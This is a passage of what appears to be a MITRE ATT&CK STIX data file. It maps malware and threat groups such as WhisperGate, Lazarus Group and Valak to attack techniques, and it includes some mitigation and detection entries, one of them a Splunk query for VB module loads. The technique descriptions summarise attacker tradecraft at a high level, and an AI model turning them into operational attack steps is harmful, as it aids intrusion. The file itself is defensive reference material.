2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.853Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can locate files based on hardcoded file extensions.(Citation: Microsoft WhisperGate January 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bd00c10-dace-4747-931e-67915d9aab7d","type":"relationship","created":"2020-03-09T14:12:31.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T14:12:31.550Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2bd05bbf-886e-4211-8aab-63cd8581a695","created":"2019-09-24T12:59:58.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos ZxShell Oct 2014","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.","url":"https://blogs.cisco.com/security/talos/opening-zxshell"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.507Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can set up an HTTP or SOCKS proxy.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2bd8bb5f-6210-4460-84c4-b7fab86e08a2","created":"2024-03-01T16:27:47.305Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T16:27:47.305Z","description":"Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bdaa624-15bb-4a69-8192-adc9fa44af3f","type":"relationship","created":"2020-06-19T19:08:40.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-08-31T13:34:16.450Z","description":"[Valak](https://attack.mitre.org/software/S0476) has used regsvr32.exe to launch malicious DLLs.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2be17426-9704-4913-981b-6d8fe4471147","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky NetTraveler","description":"Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka ‘Travnet’). Retrieved November 12, 2014.","url":"http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"}],"modified":"2020-03-16T17:20:39.769Z","description":"[NetTraveler](https://attack.mitre.org/software/S0033) contains a keylogger.(Citation: Kaspersky NetTraveler)","relationship_type":"uses","source_ref":"malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2be94bd5-0474-4d33-9776-cc10316d3489","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-09T16:19:46.406Z","description":"Monitor for the loading of modules associated with VB languages (ex: vbscript.dll).\n\nNote: For Windows, Sysmon Event ID 7 (Image loaded) can be used to alert on the loading of DLL modules (e.g., vbscript.dll) associated with Visual Basic into processes. Due to the high frequency of image load operations, Event ID 7 can generate a large volume of events. Therefore, we recommend tuning the Sysmon configuration file to exclude common, benign image loads that may result in false positives. This query focuses on monitoring the loading of specific VB-related modules such as ```vbe6.dll```, ```vbscript.dll```, and ```vba7.dll```, which are commonly associated with VB script execution.\n\nAnalytic 1 - Look for unusual VB module loads.\n\nsourcetype=windows_security OR sourcetype=wineventlog OR sourcetype=linux_secure OR sourcetype=macos_secure\n| search (module=\"vbe6.dll\" OR module=\"vbscript.dll\" OR module=\"vba7.dll\")\n| eval suspicious_module=if(like(module, \"vbe6.dll\" OR \"vbscript.dll\" OR \"vba7.dll\"), \"Yes\", \"No\")\n| where suspicious_module=\"Yes\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2beb9f29-a94b-469a-870e-2e2072bf941c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.963Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of network shares with the command net share.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bfc128f-2bc9-436b-abe0-4206b9e35727","type":"relationship","created":"2021-09-07T15:24:47.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:10.022Z","description":"[Peppy](https://attack.mitre.org/software/S0643) can download and execute remote files.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2bff8dad-2ef1-485c-8c0b-62a5ba4c384b","type":"relationship","created":"2019-07-19T17:14:24.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.023Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [HTRAN](https://attack.mitre.org/software/S0040) in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2c036695-32e2-458f-a0f1-25cd2e8b9fbd","created":"2022-04-11T16:32:10.058Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) obtained a KeePass database from a compromised host.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T16:32:10.058Z","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c095f1e-211d-4e84-b521-9cef12f1e83f","created":"2023-03-17T15:30:20.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:57:11.306Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) compromised domains in Italy and other countries for their C2 infrastructure.(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c09a27c-2eea-4287-9908-964533234e71","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Dir","description":"Microsoft. (n.d.). Dir. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/cc755121.aspx"}],"modified":"2020-03-17T19:12:13.054Z","description":"[cmd](https://attack.mitre.org/software/S0106) can be used to find files and directories with native functionality such as dir commands.(Citation: TechNet Dir)","relationship_type":"uses","source_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c0b0d7b-239c-4514-9f32-1abb8aa44dbc","type":"relationship","created":"2021-08-11T20:02:36.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","source_name":"Unit 42 RGDoor Jan 2018"},{"source_name":"ESET IIS Malware 2021","url":"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf","description":"Hromcová, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021."}],"modified":"2021-09-10T18:59:39.372Z","description":"[RGDoor](https://attack.mitre.org/software/S0258) establishes persistence on webservers as an IIS module.(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)","relationship_type":"uses","source_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c0f2d17-0f48-476b-82d2-6df2c89234ab","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow.","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c112e41-be75-4f99-84ac-ce7776f88fca","type":"relationship","created":"2020-07-15T20:23:36.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Carberp March 2012","url":"https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf","description":"Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You’re in a Black Hole, Stop Digging. Retrieved July 15, 2020."}],"modified":"2020-07-15T20:23:36.596Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has removed various hooks before installing the trojan or bootkit to evade sandbox analysis or other analysis software.(Citation: ESET Carberp March 2012)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c131932-4632-4866-845f-212cbe29756d","type":"relationship","created":"2022-02-01T14:23:04.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Lazarus Jul 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021."},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T19:01:21.561Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used the Windows API ObtainUserAgentString to obtain the User-Agent from a compromised host to connect to a C2 server.(Citation: McAfee Lazarus Jul 2020) [Lazarus Group](https://attack.mitre.org/groups/G0032) has also used various, often lesser known, functions to perform various types of Discovery and [Process Injection](https://attack.mitre.org/techniques/T1055).(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c13a056-b82d-4f56-a530-8562e0e9b038","type":"relationship","created":"2020-03-20T18:38:23.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/bb490886.aspx","description":"Microsoft. (n.d.). Copy. Retrieved April 26, 2016.","source_name":"TechNet Copy"}],"modified":"2020-03-20T18:38:23.341Z","description":"[cmd](https://attack.mitre.org/software/S0106) can be used to copy files to/from a remotely connected external system.(Citation: TechNet Copy)","relationship_type":"uses","source_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c158663-599b-45a8-b946-6d545206428d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"modified":"2020-03-20T17:06:41.680Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to create a remote shell and execute specified commands.(Citation: Lotus Blossom Dec 2015)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c1758b2-6809-48f5-84f1-e82afa950a9f","type":"relationship","created":"2021-02-12T20:07:43.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dragos EKANS","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."},{"source_name":"FireEye Ransomware Feb 2020","url":"https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html","description":"Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021."},{"source_name":"IBM Ransomware Trends September 2020","url":"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/","description":"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021."}],"modified":"2021-10-13T21:54:51.805Z","description":"[EKANS](https://attack.mitre.org/software/S0605) looks for processes from a hard-coded list.(Citation: Dragos EKANS)(Citation: FireEye Ransomware Feb 2020)(Citation: IBM Ransomware Trends September 2020)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c219416-4576-4215-80ac-1aebfadefd8b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.862Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) can perform audio capture.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.675Z","description":"[Hikit](https://attack.mitre.org/software/S0009) performs XOR encryption.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c2fc4fc-1c2d-4a97-871e-fe65ee8c9d7c","type":"relationship","created":"2020-01-24T14:27:29.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:27:29.047Z","relationship_type":"revoked-by","source_ref":"attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2","target_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c339e33-c290-42bc-9f2c-056aa0a321d8","type":"relationship","created":"2021-01-11T19:17:54.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-04-20T15:40:04.732Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can use AES encryption for C2 data transferred.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c44970b-616d-401e-b9ed-72ac39ca5709","type":"relationship","created":"2019-01-30T17:43:28.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"},{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-05T20:52:47.631Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the hostname, OS version, service pack version, and the processor architecture from the victim’s machine.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c4c3a07-315f-42ef-b815-415ea9751530","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor executed commands and arguments for actions that could be taken to gather common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator 